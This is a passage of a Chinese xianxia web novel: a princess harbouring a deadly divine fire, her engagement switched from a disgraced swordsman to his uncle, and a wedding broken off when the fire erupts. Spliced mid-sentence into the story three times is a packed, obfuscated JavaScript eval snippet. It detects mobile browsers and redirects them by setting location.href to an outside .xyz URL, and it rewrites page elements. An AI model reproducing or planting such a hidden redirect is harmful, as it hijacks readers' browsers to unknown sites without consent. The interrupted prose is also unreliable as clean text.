虞曦现在看上去没有什么大碍,但若是神火继续寄生她,那么只要她像今日这样使出五行术法,神火会迅速烧光她的灵力、骨血甚至神魂,让她衰竭而亡,就算她一辈子不用灵力,神火也会缓慢地灼烧她的身体。 神火会烧死每一任宿主。 离殊尊者看向天横帝君:“你要怎么做?” 天横帝君从榻上起身,他凝视了虞曦许久,漫不经心道:“世间只会存在一簇神火。” 世间只会存在一簇神火,所以天横帝君将取出虞曦体内的这簇神火,他将成为两簇神火的主人。 没人能同时掌控两簇神火,虞殃杀死了长烬帝君后成为了新的神火之主,他要如何取出虞曦体内这簇火焰? 圣者道:“微生弦已废,你要为她找新的人选吗?” 天横帝君动作倦怠地划破了手指塞进虞曦嘴里,这女儿废物到连他的手都咬不破,他掰正她的脑袋,盯着虞曦的唇神情有些难辨。 离殊尊者没有等来回答,不过答案已经不重要了,他垂眸盯着这对父女看了许久。 有一个办法可以解决这些。 伏天一脉代代都是这样解决的。 正因如此,他们才摆脱不了神火。 …… 酆都鬼域。 鬼火幽幽,尸人侍立在两边,魍魉跪在她的脚边,红裙女子手中捧着一面古朴的镜子,她垂眸望着镜中的场景。 镜中有一个女孩,个头不高,模样玉雪可爱,她穿着厚重的襦裙在雪地里蹦蹦跳跳,她捧起一手雪,扔到半空中,雪花悠悠地飘到她的脸上,她露出无忧的笑容,一只手从她背后偷袭了她,猛地捂住她的眼睛。 “猜猜我是谁?” “皇兄!” 画面一转,女孩长大了些,她穿着得体的宫装趁人不注意偷溜到后花园里,把裙摆挽起来,脱掉鞋袜去凫水玩,她一个人玩得不亦乐乎,直到侍女们满皇宫地找她,她才不情不愿地重新穿上了鞋袜。 “公主!”侍女们喊她,“陛下唤您过去。” “知道了知道了~”她嘟囔道,一只青鸟飞到她的指尖,她好奇地摸了摸青鸟的羽毛,青鸟啄了啄她的头发,侍女们又在喊她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532106|186392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,她不舍地把青鸟放飞,提着裙摆跟在侍女们的身后。 “姽姬。” 威严的嗓音响起,青姽姬放下手中的镜子,一只青鸟停在她的肩头,她看向面前的男人,青姽姬道:“父皇。” 酆都大帝着黑金长袍,头戴十二旒冠,瞳光赫赫,气息森严,面容介于年轻与年长之间,线条冷峻,不怒自威,他看了眼那面古朴的镜子,道:“你又在看人间。” 青姽姬不语。 酆都一共有十位帝姬,青姽姬排第七,她的长姐焰离姬是四境闻名的红衣厉鬼,多年来不知多少人被她炼为魂幡,酆都十位帝姬在四境赫赫有名,其中最出名的就是大公主焰离姬与七公主青姽姬。 酆都大帝道:“此番退敌你有功,微生弦已废,南北联盟将不再稳固。” 青姽姬与太子渊共同废了南境公主的未婚夫,那位小公主现在面临着两个选择,要么继续与一个废人成婚,要么与他退婚,南境朝堂那几个神不会允许自己的公主与一个废人成婚的。 无论从哪方面来看南北联盟都将不复从前的稳固,此番东西二境联手进攻北境,逼微生濋出手,他无暇顾及自己的侄儿,微生家与昆仑同时失去了一位嫡传。 一石二鸟之计。 酆都大帝淡淡地看了眼她,“这些年,你一直在窥视南境皇室,若不趁早收手,那几位神和那位神火之主迟早查到你的头上来。” 青姽姬勾唇笑道,“无妨。” 酆都大帝不再言语,他转身离去,青姽姬歪头逗弄了一下肩头的青鸟,她垂眸,似母亲遥望孩子,女人温柔道: “飞吧。” 青鸟展翅高飞,越过夜夜嚎哭的阴森鬼域飞至了春暖花开的南方沃土。 …… 北境昆仑,雪山之巅。 无数信封洋洋洒洒地从阁楼里洒了下来,微生濋接住一封,看到上面画了一只憨态可掬的白猫,旁边还歪歪扭扭地附了字迹,童言稚语,写信人一本正经地说自己又与大白猫打架了,回信人认认真真地问谁输谁赢,微生弦与南境公主自小就订下亲事,若是不出意外他将在一年后迎娶那位小公主。 微生濋推开门,看着自己的侄儿,道:“你的伤,昆仑会为你解决。” 微生弦抬头,这对叔侄乍一看仿佛一人,无论是气质还是外貌,不同在于微生濋气息更内敛,但也更冷然,白衣执剑,墨瞳漠然,太上忘情,人剑为一。 微生弦低头望着自己的手,这双手已不能握住任何一把剑,他忽然想起了自己的未婚妻,她经常在信里抱怨自己父君骂她废物,她说她明明也有努力修炼但就是比不上别人,微生弦从前收到信总是会认真地安慰她……他已经很久没有给她写信了。 微生濋道:“昆仑首徒的位置依旧为你保留,但你所享有的一切资源都将为他人移步,你要搬出昆仑,回到微生家。” 微生弦:“好。” 微生濋:“我不会为你报仇,四境局势复杂,青姽姬与太子渊身份紧要,我不会插手你们之间的争斗,若是你能亲自报仇,另当别论。” 微生弦:“好。” 沉默。 这对叔侄之间的对话仅限于此了,这是名震四境的山河剑,他不仅仅是微生家的人,更是北境的守护神。 微生弦突然问道:“我的婚约,你们会怎么处理?” 微生濋依旧漠然:“南北联盟不能断。” 南境不会让公主嫁给一个废人的,可是放眼北境,还有谁的声望与天赋、家世比得上微生弦? 微生濋平静道:“我来娶她。” 14. 14 近来我总是做梦,梦中场景模模糊糊,梦醒后泪沾枕席,除此之外不知是不是寒冬已过,我变得格外怕热,本来我都不敢去父君的寝殿的,但最近我恨不得天天往他寝殿里跑,我眼神发绿地盯着父君的冰床,很想自己上去躺一下,虽然以我的修为可能躺一下人就没了。 我在之后一次上朝的时候知道了这次事件的结果,南北联盟依旧在,只是公主换了个未婚夫。 我的未婚夫从微生弦变成了微生濋,从侄子变成了叔叔。 我心情复杂,其实我跟微生弦也不是很熟,所以换未婚夫这件事只让我一开始愕然了会,仔细想来这个解决方法既在意料之外又在情理之中,更何况我的未婚夫从昆仑首徒换成了那位大名鼎鼎的山河剑,这可是镇守北境数百年的“北剑”啊,北境人民心中的守护神。 他现在要娶我。 我给微生弦写了几封信,不管怎么说我们好歹也当了这么多年的未婚夫妻,一夕之间从天之骄子沦为废物他心里一定不好受,但提笔之后我又陷入了犹豫,如果我真的和微生濋成婚了,那我和微生弦又是什么关系? ……唉!越来越烦了! 我心烦意乱,萌生了逃避的想法,在储物袋里找了半天掏出一颗石头,这是雨师送我的界石,有它就可以不用界门直接去小世界玩了,我第一次使用界石摆弄了半天,紧接着白光一闪,伴随着一阵强烈的眩晕感我消失在了原地。 界石把我送进了一个凡人世界,得知这是个凡人世界的时候我松了口气,还好这里全都是凡人,在这里即使是废物三公主凭借着一身宝贝也能横行霸道,要是去个大世界那我就不敢随便玩了。 佛陀曾说“一花一世界,一叶一菩提”,四境多年来出过无数强者,有的强者精通符文阵法,能够将一砖一瓦雕刻成小世界的雏形,再塞进凡人,给凡人灌输固定的信仰,这样就有源源不断的信仰提供了,四皇之间的战争不仅仅比拼的是武力,更是各境国运与信仰。 像我们南境就属于神祇遍地走,而保持神位需要的就是香火与供奉。 对了,这个小世界是我们南境的吗? 我突然有些心虚,要是我不小心溜进了别人的地盘那可就大事不妙了,如果这个世界供奉的不是天横帝君那是谁呢? ……算了,不想这么多了,这只是个凡人世界,我不会这么倒霉遇到其余三境的人吧? 我漫无目的地在热闹的集市里走着,我身上贴了隐藏气息的符,因此这些凡人都不会注意到我,除非撞到我不然他们根本不会意识到身边有个人。 我暂时不想回家,想一个人待着,这个小世界不仅没有修士连山神庙或是城隍庙都没有,也有可能是我落脚的地方是个小城镇。 小城镇里人不多但挺热闹的,到处都是吆喝声,凡人们不卖灵丹也不卖法器,他们卖花生瓜子还有糖人还卖菜,我蹲在一家卖点心的铺子前,用碎银子换了些点心。 我饶有兴味地打量着小世界的凡人们,他们不需要修炼,寿命也只有短短百年,我从前也过着和他们一样的生活,其实当个凡人也没有什么不好的,我的理想就是平平淡淡地过完这辈子。 我逛了半天竟然还真的找到了一家城隍庙,我看了眼里面的神像,不知道这个小世界的城隍神是谁,听说北境那边他们会敕封死去将士的英灵,将他们派到麾下小世界去积攒功德重塑金身,他们在下界时会担任城隍或是夜游神,时候合适上界再召回他们。 城隍庙里人竟然还不少,我偷听了会墙角,听到有人在祈愿早生贵子有人在祈愿姻缘更多的人在祈愿功名。 ……城隍神您还真忙啊。 我遇到了一个落难的书生,这书生长得呆头呆脑的,满嘴之乎者也,背着书筐到处问路,几个大汉尾随他了半天眼见他落单了,于是迫不及待地围住了他,书生不明所以还试图跟他们讲道理,大汉们才不跟他讲道理,让他把钱财交出来。 看得我都于心不忍了,我悄悄拿出风伯送我的扇子往那里扇了扇,狂风大作,这妖风吹得大汉们目露惊恐,我再接再厉又扇了阵妖风,顺便还扔了几块石头,大汉们壮着胆子过来查看情况但没有找到人,为首的人表情一变,道:“走!” 我盯着他们的背影朝他们扮鬼脸。 捉弄人真好玩。 我本打算做好事不留名的,然而那书生突然抬头看向我这边,“多谢姑娘相助。” 咦?他看见我了? 我一时不察就显露出了身形,既然如此那我也不躲躲藏藏了,我从树后出来,好奇地望着这书生,“你怎么发现我的?” 书生微笑道:“某虽不才,但自幼眼力异于常人,今日之事多谢姑娘相助了。” 我挥挥手满不在乎道:“不用了,举手之劳。” 我盯着他的书筐好奇地问道:“这里面装的都是书吗?” 书生道:“先人道,读万卷书,不如行万里路,某励志走遍大荆河山,山高水长,举头是天,低头是地,能以脚丈量山河,岂不快哉?” 我“哇”了声,“所以里面装的是书吗?” 书生微笑了下:“是。” 书生称他本为一地主之子,家中就他一个独子,几年前父母仙逝,亲戚欺他孤家寡人想占他家产,他变卖了家中几亩薄田便开始了远游。 我说自己是附近佃农的女儿,今日过来是给病危的老父亲买药的,家中还有两位兄长,大兄前几日摔断了腿,二兄天生残障离不得人需要我在跟前贴身照顾,我边说边很应景地掉了几滴眼泪。 书生安慰我没有过不去的坎,我们俩互相卖了会惨,然后发现对方好像都挺惨的,书生悠悠道:“滴水之恩当涌泉相报,姑娘今日之恩来日某必还之。” 我连忙摇手,你这辈子说不定都见不到我了还报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532107|186392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么恩呢,我们分别之前书生问我的名字,我随口胡诌了个名字给他,他微笑着说“有缘再见”。 我盯着他的背影心中嘀咕,恐怕是无缘无份了,本来就是离家出走,这次回去说不定又要被狗皇帝骂了。 …… 虞悯被大司命叫了过去,大司命手里拿着匹流光溢彩的绡纱问道:“南海鲛人族的鲛绡,好看吗?” 二皇子皱眉,面色不善地盯着他。 大司命微笑道:“你觉得公主殿下会喜欢这个吗?” 他又拿出几支发簪和金饰,若有所思道,“公主喜欢这样的款式吗?” 二皇子本来面无表情的,直到大司命拿出了一件嫁衣,他笑着问道:“这件呢?织女亲手所织,世间只此一件的凤冠云霓帔?”大司命说着说着自言自语起来,“公主喜欢亮闪闪能吸引眼球的东西,凤冠云霓帔美则美矣不够夺目,得给她加点装饰。” 虞悯意识到了不对劲,他紧紧盯着大司命:“什么意思?” 大司命低头抚摸了一下手中的嫁衣,叹了口气,“三个月啊……也不知道能不能赶出来,殿下,你觉得公主殿下会喜欢什么样的嫁衣?” “三个月?”虞悯重复了一句,大司命笑着补充道,“是啊,三个月后微生濋亲自来迎娶公主殿下,要不还是待会去问下大殿下吧,他主意多。” 虞悯脸色阴沉得能滴水,大司命仿佛什么都没感受到,依旧微笑道:“你不知道吗?皇宫已经开始筹备公主殿下的婚礼了,虽然提前了不少时日,但这可是我们南境唯一的公主,得打起精神帮她准备呢。一眨眼小公主都长这么大了,还真是舍不得呢。” 虞悯道:“为什么提前?” 大司命道:“这个得问陛下了。” 这一向温文尔雅的男人笑着朝虞悯说道,“殿下,我从前应该教过您的,想要的东西就得提前下手,不管付出什么代价,可惜您好像没有把我的话放在心上,难怪您赢不过大殿下,这些年您一点长进也没有呢。” 虞悯盯着他手里的嫁衣,手掌握紧又放松,他缓缓道:“她不喜欢这样的。” 大司命打了个响指,世间只此一件的凤冠云霓帔被烧成了灰烬:“那就算了吧。” …… 背着书筐的书生教孩子们识完字后,他悠哉悠哉地从热闹的集市中穿过,从袖子里掏出几枚铜钱买了点菜放进书筐里,他又折返一趟跑到点心铺里费了一番口舌才从老板手里换来碎银子。 老板说今日有个记不清脸的姑娘用碎银子跟他买点心,书生将碎银子收进了袖子里,几个垂髫小童横冲直撞差点撞上他,他好脾气地让开路,微笑着看着热闹的人群。 人群的尽头有一位白衣剑客执剑而立,剑客眸光冷冽,气质如昆山不化之冰,无波无澜,无情无欲,他站在那里,就像一把开锋的利刃。 剑客道:“陛下。” 15. 15 皇宫近日的氛围怪怪的,我把手里的金球抛了出去,一道肥硕的白影发挥与身材不符的敏捷叼住了我抛出去的金球。 大白虎摇着尾巴跑到我跟前,我揉揉它的肚子,它舒服地摊开四肢在地上打滚,我心情有些微妙,这胖老虎怎么越来越像只狗了。 皇宫唯一的一只狗自觉肩负起了巡逻的责任,它每日神气十足地在皇宫里溜达,溜达的模样肖似它的主人,雪狼又和大白猫打起来了,这狼崽子一天一个模样,大白猫眼见着要打不过它了连忙请外援,我经常看到一猫一狗一起揍一只狼。 身为动物园园长的我义不容辞地制止了它们,又是鸡飞狗跳的一天,我顶着满头的猫毛见到了大司命。 “试衣?” 我一愣,大司命帮我把头顶的猫毛挑出来,温声道:“三个月后您大婚,我得帮您挑好嫁衣。” 我想起来了,我三个月后就要和微生濋成婚了,整个南境好像只有我稀里糊涂的,莫名其妙换了个未婚夫,再莫名其妙要提前成婚,我缓缓地“哦”了声,宛如提线木偶般被大司命牵进了一间静室。 我表情略带麻木,对自己即将嫁人这件事没有任何实感,微生弦就算了,我甚至没有见过微生濋也没有和他有过任何往来。 我面前摆了几套红色的嫁衣,无一不做工精良华美繁琐,我随便选了一套,大司命笑着道,“这套的确适合公主殿下。” 南境皇室没有凡间那些女孩要亲自绣嫁衣的规矩,我的嫁衣是由大司命为我准备的,我的首饰也是他准备的,我一动不动地任他打扮,他给我涂口脂,我凝神望着镜子里的自己,镜中的女孩穿着一身大红的嫁衣,黛眉轻蹙,雪肤红唇,乌发及腰,如初生的花苞,气质柔软又不谙世事,带着几分藏不住的稚气,我拍了拍脸,努力做出严肃的表情,再过三个月我就要嫁人了,可不能再像以前那样像个小孩子了。 一双手从我的脖颈处穿过,大司命为我戴上了耳环。 按照南境这边的习俗,女孩成婚时要由父兄亲自为我画眉,成婚时由家中长子背着我上花轿——这是多年前的古礼,现在倒没这么多讲究了,而且这些说到底都是凡人的礼仪,我们家那几位可不见得会遵守这些。 大司命望着我微笑了下:“殿下要去见陛下吗?” 我歪头:“见他干嘛?” 大司命悠悠道:“陛下可能有事想要嘱咐您。” 我觉得以那暴君的性情他可能会嘲笑我,他平日就爱欺负我,明明整座皇宫有那么多人供他发泄他却偏爱薅着我不放,我经常在心底偷偷骂他,虞悯和他简直一个模子刻出来的,虞悯的坏脾气也是随他的。 这对父子真不让人省心! 事实证明不要随便在背后说人坏话,会遭报应的,我在背后说了父君这么多坏话然后就被他的人给抓到了。 黑袍男人不知道从哪里冒出来的吓了我一大跳,这个男人一向神出鬼没,偏偏在父君面前他又随叫随到,我怀疑他会读心术和分身术。 温霂冷冰冰道:“公主殿下,陛下传召。” 我惊慌:“我、我先换身衣服……” 黑袍男人用一种“敢耽误陛下的事你就死定了”的眼神凝视着我,我含泪跟大司命挥手:“我待会再回来试。” 大司命微笑着注视我们离去。 暴君正在书房里等我,我被温霂拎过来的时候他正懒洋洋地躺在自己的那张卧榻上,温霂道:“陛下。” 我迅速整理好仪态露出完美的微笑,“父君。” 无论何时都要记住自己是位公主……我的公主姿态没有维持一秒钟就破防了,天横帝君很嫌弃地捏了捏我的嫁衣,“谁给你挑的?回去换掉。” 我:“……父君,您找我来是有什么事吗?” 天横帝君懒懒地看了眼温霂,黑袍男人自觉地退下了。 帝君打了个响指,掌心凭空出现了一簇漆黑的火焰,不知为何我看到那簇火焰时心脏剧烈地跳动了起来,空气中气温无声地攀高,我盯着他掌心的那簇火焰无意识地咽了咽口水。 天横帝君盯着我:“过来。” 我双眼直直地盯着那簇漆黑的火焰,不知不觉挨近了他,我朝那簇火焰伸手,我握住了那簇火焰。 温暖的,明亮的,让人着迷的火焰。 天横帝君道:“虞曦,你在想什么?” 我猛然惊醒,后退了好几步,茫然地望向他,他又打了个响指,火焰消失了,我不安道:“父君,我……” 天横帝君啧了声:“你哪里来的坏毛病?什么东西都敢乱碰是吧?” 一瞬间我心中的紧张消失了大半,呸,狗皇帝,我还不是跟你学的。 不过刚才那簇火焰是什么东西,我竟然感觉它怪亲切的…… 天横帝君手里拿起根玉尺把玩,他没有跟我解释的意思,这些年我也习惯他想一出是一出和霸道的性格了,因此我自觉地找到了自己的位置,他的书房里有一张专门给我准备的床,我平时午睡就在这里休息。 见他没注意我我悄悄把袖子和裤腿挽起来了,最近我格外怕热,平时自己一个人待在寝殿里都穿得十分清凉,一动就出汗,我每天都要洗好几遍冷水澡。 好热。 我觉得不是我的错觉,从他刚才放出那簇火焰后屋内的气温就直线上升,我纳闷地想了会,那是他新研究出来的东西吗?用来干嘛的?烧别人吗? 天横帝君莫名其妙把我叫过来后但似乎没有什么要紧事要跟我说,我抱着自己的枕头又热又困又烦躁,我近来不仅怕热还很容易累,经常头一沾枕头就睡着了,我总是没由来得疲惫,但又找不到原因,甚至影响到了我的心情。 这突然冒出来的毛病让我格外暴躁,我甚至特意跑去师尊那里听他念经才勉强保持平静。 唉,我总不能告诉别人我现在满脑子都是谁惹我我要把谁拖下去砍头的想法吧。 前几天大司命送了我几件漂亮的衣裙我第一反应竟然是看起来很好烧。 ……不行不行,不能这样想,这样和那个暴君有什么区别。 我胡思乱想了会不知不觉竟然靠着自己的床睡着了,我难得的做了一个梦,梦中有一个唇红齿白的男孩在堆金条,他一个人住在金碧辉煌的宫殿里,面前摆满了金条,他坐在地上将金条摆成了一座小塔,他抬头看向我: “姐姐。” 我惊讶地发现那是张与我极为相似的脸,男孩歪了歪头,笑容天真无邪: “烧死他们。” 我猛然惊醒,发现天已经黑了,我竟然在父君的书房里睡了过去,天横帝君盯着我的脸,“你刚才做梦了?” 我愣愣地点头,他罕见地沉着眸子看我,帝君起身,“这几日,你来我的寝殿睡。” 我:“……”爹虽然我馋你那张冰床但不代表我想去你寝殿睡啊。 我委婉道:“父君,我已经长大了……”爹你还记得我小时候你把我抱你寝殿里差点冻死我的那回事吗?!要不是东皇大人发现得早你就没我这个女儿了! 这次反抗的结果以失败告终,整个南境都是天横帝君的一言堂,暴君蛮横地镇压下了一切异议。 当晚我愤愤地收拾被褥准备换地方睡觉,虞舟来看我差点被我一枕头砸中,他摇着折扇后退几步:“谁惹我们的小公主了?” 我叹气道:“还能是谁。” 大皇子帮我捡起枕头,然后问道:“小曦,你喜欢微生弦吗?” 我被他问得一愣,不由得多看了他几眼,“我都没见过他。” 虞舟又追问道:“那你喜欢微生濋吗?” 我鼓了鼓脸,觉得今天姓虞的都不太对劲,“我马上就要和微生濋成婚了,你问这个有什么用呢?” 虞舟收起了折扇,那一瞬间他的神情有些奇怪,我懊恼地咬着唇。 我、我也不知道我最近为什么会如此烦躁,仿佛心中有一团火焰在烧,我近来越来越不像自己了。 我甚至莫名多了许多杀意,我应该没有感觉错,那的确是杀意……我看到血会兴奋,明明从前我最讨厌看到血了。 前几日风伯和雨师突然说我越来越像陛下了,我有时照镜子也会感到一阵恍惚,镜中的少女依旧是从前的模样,但气质却莫名阴郁了许多,眉眼间总是无意间流露出杀意与躁意。 “小曦。”虞舟摸了摸我的脑袋,我低着头心中别扭,他摸着我的头叹道,“你永远可以反悔的。” 我扑进他的怀里,闷声闷气道:“哥我难过。” 可我不知道我哪里难过,明明我做了那么多年的准备,可是我的未婚夫说换就换。 虞舟拍了拍我的后背,我小时候他经常把我背着到处跑,大殿下是整座皇宫最闹腾的那个,而三殿下是整座皇宫最爱看热闹的那个,我喜欢跟在他的身后看他高谈阔论,看他说那些不切实际的理想,他从未因为这个世界的黑暗而泄气过,就像他从未放弃拯救世界过。 我希望他成功,没有别的原因,只是这个世界需要多一点像他这样的人。 我从自己的寝殿搬到了父君的寝殿,其实只是换了张床睡而已,不过我近日倒没有再做过噩梦了,想来暴君的确有辟邪的作用。 在我无所事事地待在皇宫备嫁的时候,四境发生了一件不大不小的事情,西境圣者出关了。 西境圣者以妖身入道,她是世间最后一只三足金乌,圣者这些年鲜少现身人间,据说她一直在闭关,上次出现在人间还是长烬帝君险些毁灭世界。 离殊尊者道:“我要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532108|186392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去见她一面。” 天横帝君坐在龙椅上单手支着下颔,他漫不经心道:“哦?” 离殊尊者平和道:“金乌有预占本能,我要去求证一些事情,她出现得不是时候。” 不知为何,我觉得师尊刚才若有若无地看了我一眼。 到了圣者这个层次他们不会因为立场偏颇而互相敌对,所以即使现在南境和西境关系紧张也不妨碍两家圣者见面。 师尊离开了,我盯着他的背影有些失落,不知道他能不能在我婚礼之前赶回来,我、我希望成婚的时候能见师尊一面。 皇宫开始紧锣密鼓地筹备公主的婚礼,大司命帮我挑了好几套嫁衣才选定最终方案,不知不觉已经过去一个月了,四境都在注视着这场婚礼,包括两位主角,我待在皇宫里偷懒,准备嫁人这件事唯一的好处就是不用继续上学了,我终于可以不用面对云中君那张冷脸了,虽然在皇宫里貌似见得更多。 我沉迷于撸老虎不可自拔,大白虎最近又长胖了一圈,我掂量了下它沉甸甸的肚子,“不行,你要开始减肥了,你可是只老虎诶,怎么能跑不过狗。” 哮天神气十足地从我们面前经过,它在大白虎的面前停住脚步,昂着脑袋朝大白虎“汪汪汪”地叫了几声,大白虎“嗷嗷嗷”地回了几声,一狗一虎就这样互相狗同虎讲了半天,身为饲养员的我满脸严肃地听完了它们的对话,然后一拍大白虎的脑袋。 “哮天说你长胖了,从今天开始我要给你控制饮食了,哮天来监督你。” 大白虎急得“嗷嗷”叫,我狠心道:“慈母多败虎,我是不会改变主意的。” 头顶一道黑影飞过,我抬头看见了双金色的竖瞳,吞天君狩猎回来了,它懒懒地睥睨着我们,身上仿佛还带着血气,大白虎吓得躲到我的身后去,我其实也有些害怕,童年时被一只龙抓走的心理阴影还在呢。 吞天君盯着我,那双巨大的金色竖瞳在太阳底下反射着夺目的金芒,它缓缓地降下了那颗硕大的头颅,然后猛地在我身上嗅了一下,粗重的鼻息吐在我的身上,我浑身一激灵,身上都是它的气息,黑龙迅猛地飞至高空仰天长啸,整座皇宫都回荡着它的叫声。 大白虎腿软地趴在地上,双爪抱头,耳朵耷拉下来,我们俩抱着瑟瑟发抖,好在吞天君吃饱喝足了暂时没有加餐的打算。 我含泪道:“你看到没有?它那是看储备粮的眼神,你真的该减肥了。” 老虎忧伤地点了点头。 …… 风伯和雨师挂在墙头上,他们像两条风干的鱼,这两人几日前带着大白虎上街头卖艺,逼老虎表演胸口碎大石,赚来的钱跟狗打麻将输了个精光,现在两人兜里比脸上还干净,被东皇发现后又被挂上了墙头。 风伯幽幽叹息道:“唉。” 雨师也跟着叹息:“唉。” 风伯:“这日子没法过了。” 雨师:“这日子没法过了。” 风伯突然大喝一声:“山鬼!” 黑衣少年停住脚步,他歪了歪头,用看傻子的眼神看着这两条鱼。 雨师盯着他手里的刀:“你去干嘛?” 山鬼道:“杀人。” 风伯问:“杀谁?” 山鬼低头擦了擦刀,随口道:“微生濋。” 风伯和雨师同时道:“加我们一个。” 山鬼看了他们眼,不屑道:“废物。” 风伯和雨师没有生气,他们已经被挂三天了,这几日除了公主殿下没人来看他们,难得看见一个活人两人都有些开心。 风伯道:“山鬼,你看到前面那棵歪脖子树没?” 山鬼道:“废物。” 雨师道:“趁现在你爬到那棵树上潜伏起来,等二殿下经过再从他身后偷袭他,我们已经观察三天了,二殿下每天都要经过那棵歪脖子树。” 山鬼:“哦?” 风伯和雨师笑道:“然后你就可以杀了二殿下了。” 山鬼若有所思:“有点意思。” 风伯道:“二殿下死后公主殿下就没有竞争对手了,皇位肯定是公主殿下的了。” 山鬼问道:“不是还有个吗?” 雨师笑道:“你不知道吗?大殿下不想当皇帝啊。” 山鬼点了点头,看上去有些满意:“公主殿下才是最合适的,那些碍事的人都该死。” 风伯和雨师也笑道:“陛下最宠爱的就是公主殿下了,等陛下驾崩了他的东西肯定都是公主殿下的,我们也是公主殿下的。” “那陛下什么时候驾崩呢?” “不知道,应该快了吧。” 山鬼难得对他们表示赞同,三个人比较了一番得出结论: “陛下果然最宠爱公主殿下了。” 16. 16 三个月的时间说长不长说短也不短,总之在我还没反应过来的时候就到了成婚的时候了。 我坐在铜镜前看自己,我穿着一袭红色嫁衣,大司命亲自为我打扮,我盯着镜子里的自己忽然感到一阵陌生,近来我总是没缘由地疲惫和烦躁,心中仿佛有一团火焰,无从发泄让我格外暴躁。 我的脾气变得越来越不像自己了,可我暂时找不到原因。 微生濋是一位标准的昆仑剑修,峨冠博带,气质冷然,他像那传说中修太上忘情道的仙人,高高在上不近人情,这位仙人看向我,他道:“公主殿下。” 我被东皇牵到了他的手上,他握住我的手,我忽然感到一阵心悸,条件反射地推开他,微生濋顿了会才想来扶住我,我低低地道: “别过来。” 我抱住膝盖发抖:“离我远点。” 在场的所有人都沉默了。 我其实不是那个意思,我让他离我远点是为了他好,我觉得所有人都得离我远点,不然我会忍不住的。 我会忍不住烧死他们。 姐姐。 烧死他们。 嘻嘻。 耳边仿佛响起了孩童的笑声,那笑声过于尖利刺耳以至于我冷汗涔涔浑身发抖,我抱着膝盖拒绝了所有人的接近:“别碰我。” 火焰凭空出现,东皇和大司命神情骤变,微生濋手掌握住了腰间的长剑,气温开始攀高,我捂着胸口表情痛苦。 “殿下!”我听到了东皇的声音,下一刻就失去了意识。 婚礼被迫中断。 在场的人脸色都不太好看,唯一的外人微生濋道:“所以,她是下一任的神火之主?” 云中君冷冷道:“这不是你该过问的。” 微生濋看向高台上的人影,神火之主不可能同时存在两位,只有旧的死去新的才会诞生,长烬帝君死后天横帝君才成为新的神火之主,但现在南境公主使出了神火,但真正的神火之主还活着。 微生濋移开视线,男人神情漠然,他只关心南北联盟稳不稳固,至于其他的,一概排在后面。 公主昏迷不醒。 大司命在她的床边道:“……五衰之相,神火在汲取她的生命。” 虞舟眉头紧皱,显然大皇子了解什么是神火,但他才因此更加愕然,神火怎么可能会寄生虞曦? 寄生之后虞曦怎么可能还活着? 天横帝君食指按住公主的额头,手指渗出血液,帝君就着血在她额上写起了什么,帝君道,“所有人,出去。” 风伯和雨师蹲在门口守着陛下和公主,风伯看了眼雨师,突然道,“我刚才,想起了东君大人。” 雨师看向他。 风伯道,“你还记得,东君大人是怎么死的吗?” 雨师沉默了。 很多年前陛下刚刚登基的时候,东君是陛下最忠诚的手下,她对南境忠心耿耿,无条件地效忠于伏天一脉,愿意为伏天氏献出一切。 因此她才会被陛下所杀。 那时陛下刚刚登基没多久,东君司掌祭典与巫卜,她算出陛下命中无子,伏天一脉将在他手中断绝。 “陛下。”身着祭司服的女子跪在他的面前,“请您为伏天氏留下血脉。” 南境暴君坐在龙椅上居高临下地俯视着她,“你在要求我?” 东君重重地跪了下去,“您是最后的纯血伏天血脉,伏天氏现在只剩下您一人了,伏天血脉不能断。” 她深深地吸了口气,说道:“陛下,请您为伏天氏留下一子一女,再……让其结合,诞下纯血伏天血脉。” 她的话没有说完,一柄长剑捅穿了她的肩胛,她狼狈地滚在了地上,唯有那双眼睛闪烁着惊人的光芒,她看着虞殃,“陛下,请您为伏天氏留下血脉。” 虞殃突然笑了起来,他看着这女人,慢条斯理道,“你是在担心我死后没有东西来装火吗?” 伏天氏代代都是神火的载体,他们这一族受神火淬炼天资一代比一代高,寿命一代比一代短,只有纯血伏天血脉才能镇压神火。 一旦虞殃死去,世间将不再有伏天一脉,而失去了压制的神火会烧光它所接触的一切事物。 伏天氏已经走向了末路,无论这个氏族曾经多么的强大,但现在,它面临着亡种的危机,而它最后的血脉并不愿意为伏天氏延续血脉。 这个血脉早就该灭绝了。 虞殃冷冷地想。 “呵呵,你倒比别人看得清楚,知道伏天氏全都是神火的容器。”虞殃哈哈笑了会,笑容却愈发阴森,“这么忠诚,你要不自己来试试神火?” 东君惨叫起来,火焰点燃了她的肩胛,她死死咬着牙,“陛下,我……为您做了卜噬,您命中有一死劫。” 虞殃不为所动,东君继续道:“破局的关键在伏天血脉……” 